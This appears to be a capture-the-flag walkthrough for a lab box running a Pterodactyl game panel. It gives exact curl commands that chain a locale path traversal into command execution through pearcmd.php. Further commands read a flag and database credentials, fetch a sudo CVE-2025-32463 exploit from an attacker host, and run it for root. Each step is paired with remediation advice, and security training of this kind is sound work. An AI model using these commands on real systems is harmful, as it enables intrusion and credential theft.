← all walkthroughs

Pterodactyl

Linux· Medium· Web
owned
2026-08-28
time to own
1h28m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Pterodactyl game-panel deployment where a stray phpinfo.php page disclosed the exact nginx/PHP stack, and the panel's locale-loading endpoint accepted a directory-traversal payload with no path sanitization. By pivoting that traversal into PHP's bundled pearcmd.php utility, I turned a simple file-inclusion bug into full command execution as the web-server account (wwwrun).

From that foothold they read a local user's flag directly off disk (the web account had unrestricted read access to /home), recovered the panel's database credentials from local config, and enumerated the sudo binary to find it was vulnerable to CVE-2025-32463, a critical 2025 sudo chroot flaw. Building and running the public proof-of-concept for that CVE through the same web-shell channel escalated the web user straight to root, completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"

Attack path: how the box was taken

1ReconnaissanceInformation disclosure via phpinfo() (CWE-200)
Fingerprinted the web stack via an exposed phpinfo.php page
A default/leftover phpinfo.php script was reachable on the main vhost, disclosing the exact nginx and PHP versions in use and confirming the target ran PHP with default module configuration: useful intelligence for planning the LFI-to-RCE chain that followed.
Curl to /phpinfo.php returned 'X-Powered-By: PHP/8.4.8' and full nginx/1.21.5 banner details.
Exact commands 1
shell

Confirms nginx/1.21.5 and PHP/8.4.8 from the exposed debug page.

$ curl --resolve pterodactyl.htb:80:$TARGET -sS --max-time 20 -i http://pterodactyl.htb/phpinfo.php
FixRemove debug/info-disclosure scripts from productionLow
WeaknessA leftover phpinfo.php file was reachable by anyone on the internet, handing an unauthorised user the exact PHP and web-server version in use for free.
FixDelete phpinfo.php and any other debug endpoints from production deployments before go-live, and add a deployment check that fails the build if such files are present in the web root.
2Initial AccessLocal File Inclusion via path traversal (CWE-22 / T1083)
Found a path-traversal flaw in the panel's locale-loading endpoint
The Pterodactyl panel vhost exposed /locales/locale.json, which built a filesystem path directly from the client-supplied 'locale' query parameter with no sanitization. Supplying '../' sequences let me walk the path outside the intended locales directory and resolve arbitrary files on disk.
Locale=../../../../../tmp&namespace=idraw returned an HTTP 500 with a PEAR_Config dump instead of a normal locale-not-found error, confirming the traversal reached outside the app root.
Exact commands 1
shell

Confirm the traversal reaches outside the locales directory.

$ curl --resolve panel.pterodactyl.htb:80:$TARGET --globoff -sS --max-time 20 --path-as-is -i 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=idraw'
FixSanitize the locale parameter to prevent path traversalCritical
WeaknessThe /locales/locale.json endpoint built a filesystem path directly from the unsanitized client-supplied 'locale' value, letting '../' sequences walk the resolved path outside the intended locales directory.
FixValidate the locale parameter against a strict allow-list of supported locale codes (e.g. regex ^[a-z]{2}(-[A-Z]{2})?$) and reject anything else before it reaches any filesystem or include call. Never build include/file paths from raw user input.
3ExploitationLFI-to-RCE via PHP pearcmd.php inclusion (T1190)
Escalated the LFI to remote code execution via PHP's pearcmd.php
By traversing the 'locale' parameter into PHP's bundled PEAR installer (usr/share/php/PEAR/../PEAR) and setting namespace=pearcmd, the request caused the application to include pearcmd.php. PEAR's command-line tool accepts a 'c=' style config parameter that I abused to smuggle and execute arbitrary OS commands, turning the file-read bug into a full command-execution primitive running as the web server's own account.
Curl with namespace=w1&c=id returned 'uid=474(wwwrun) gid=477(www) groups=477(www)', confirming command execution as the web user.
Exact commands 1
shell

Executes 'id' as the web-server user through the pearcmd LFI-to-RCE chain; swap the c= value for any command.

$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode 'c=id' http://$TARGET/locales/locale.json
FixHarden the PHP runtime so file-inclusion bugs cannot become code executionCritical
WeaknessBecause pearcmd.php was reachable through PHP's include path and the CLI-oriented PEAR tooling was left installed and web-accessible, a simple path-traversal read bug could be pivoted into full command execution as the web user.
FixRemove or restrict access to PEAR/pearcmd.php in production images, set open_basedir to the application's own directory, disable dangerous functions (system, exec, shell_exec, passthru, proc_open) via disable_functions in php.ini, and ensure include/require paths are never built from user input.
4Post-ExploitationLocal file enumeration / credential harvesting (T1552.001)
Harvested database credentials and the user flag from the web-shell foothold
With command execution as wwwrun, I read the panel's local configuration to recover its MariaDB credentials, and separately found that the low-privileged web account had direct read access to another user's home directory, letting it read that user's flag file without needing that user's own credentials.
MariaDB login pterodactyl/<withheld> against database 'panel' succeeded; /home/phileasfogg3/user.txt was read directly by wwwrun.
Exact commands 2
shell

Reads the flag through the RCE channel; output is <user.txt>.

$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/./' --data-urlencode 'namespace=w1' --data-urlencode 'c=cat /home/phileasfogg3/user.txt' http://$TARGET/locales/locale.json
shell

Run from the wwwrun shell using panel DB creds found in local Laravel config.

$ mariadb -h127.0.0.1 -upterodactyl -p$PASSWORD2 panel -N -e 'show tables;'
FixRestrict file permissions and credential storage reachable by the web accountMedium
WeaknessThe low-privileged web-server account (wwwrun) could read another local user's home-directory files directly, and the application's database credentials were recoverable from local configuration once any command execution was gained.
FixSet home directories and user files to mode 750/700 owned by their respective users so the web service account cannot read them, and store database credentials in a secrets manager or environment variable injected at runtime rather than a world/group-readable config file.
5Privilege Escalation EnumerationVulnerable software version identification (T1082)
Identified a vulnerable sudo build on the host
Checking the local sudo binary's version through the web-shell channel showed Sudo 1.9.15p5, which is affected by CVE-2025-32463: a critical flaw in sudo's chroot/EDITOR handling that lets a local user obtain a root shell without needing any sudoers grant.
Sudo --version reported 'Sudo version 1.9.15p5'; searchsploit and msfconsole both matched CVE-2025-32463 (EDB-ID 52352, module exploit/linux/local/sudo_chroot_cve_2025_32463).
Exact commands 2
shell

Confirms Sudo 1.9.15p5 through the RCE channel.

$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode 'c=sudo -V | head -8' http://$TARGET/locales/locale.json
shell

Locate the public PoC/exploit (EDB-ID 52352) on my host.

$ searchsploit 'CVE-2025-32463'
FixPatch sudo to a version fixed against CVE-2025-32463Critical
WeaknessThe host ran Sudo 1.9.15p5, vulnerable to CVE-2025-32463, a chroot/EDITOR handling flaw that lets any local (or web-shell) user escalate straight to root without a sudoers entry.
FixUpgrade sudo to 1.9.17p1 or later (or the vendor-backported fixed build) on all Linux hosts, and audit for the presence of the sudo --chroot option in older installs as a compensating detection while patching rolls out.
6Privilege EscalationCVE-2025-32463: Sudo chroot local privilege escalation (T1548.003)
Exploited CVE-2025-32463 (sudo chroot) to obtain root
I staged the public sudo-chwoot.sh proof-of-concept on my own host, pulled it onto the target through the pearcmd RCE channel, extracted the embedded exploit script, and ran it. The exploit abuses sudo's handling of the --chroot option to load my own NSS library as root, yielding full root code execution and access to the root flag.
Post-exploit command chain returned root context and read /root/root.txt through the sudo-chwoot.sh PoC.
Exact commands 4
shell

On my host, serve the downloaded 52352.txt (sudo-chwoot.sh) PoC.

$ python3 -m http.server 8008
shell

Pull the PoC onto the target via the RCE channel; replace $ATTACKER_IP with your listener IP.

$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode "c=curl -s http://$ATTACKER_IP:8008/52352.txt -o /tmp/sudo-chwoot.sh && chmod 700 /tmp/sudo-chwoot.sh" http://$TARGET/locales/locale.json
shell

Extract the runnable exploit body from the PoC wrapper.

$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/./' --data-urlencode 'namespace=w1' --data-urlencode "c=sed -n '/^#!\/bin\/bash$/,/^\*----------------------\*/p' /tmp/sudo-chwoot.sh | head -n -1 > /tmp/sudo-chwoot-exec.sh; chmod 700 /tmp/sudo-chwoot-exec.sh" http://$TARGET/locales/locale.json
shell

Run the exploit; output confirms uid=0 and reveals <root.txt>.

$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode "c=printf 'id\ncat /root/root.txt\nexit\n' | bash /tmp/sudo-chwoot-exec.sh" http://$TARGET/locales/locale.json

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
80/tcp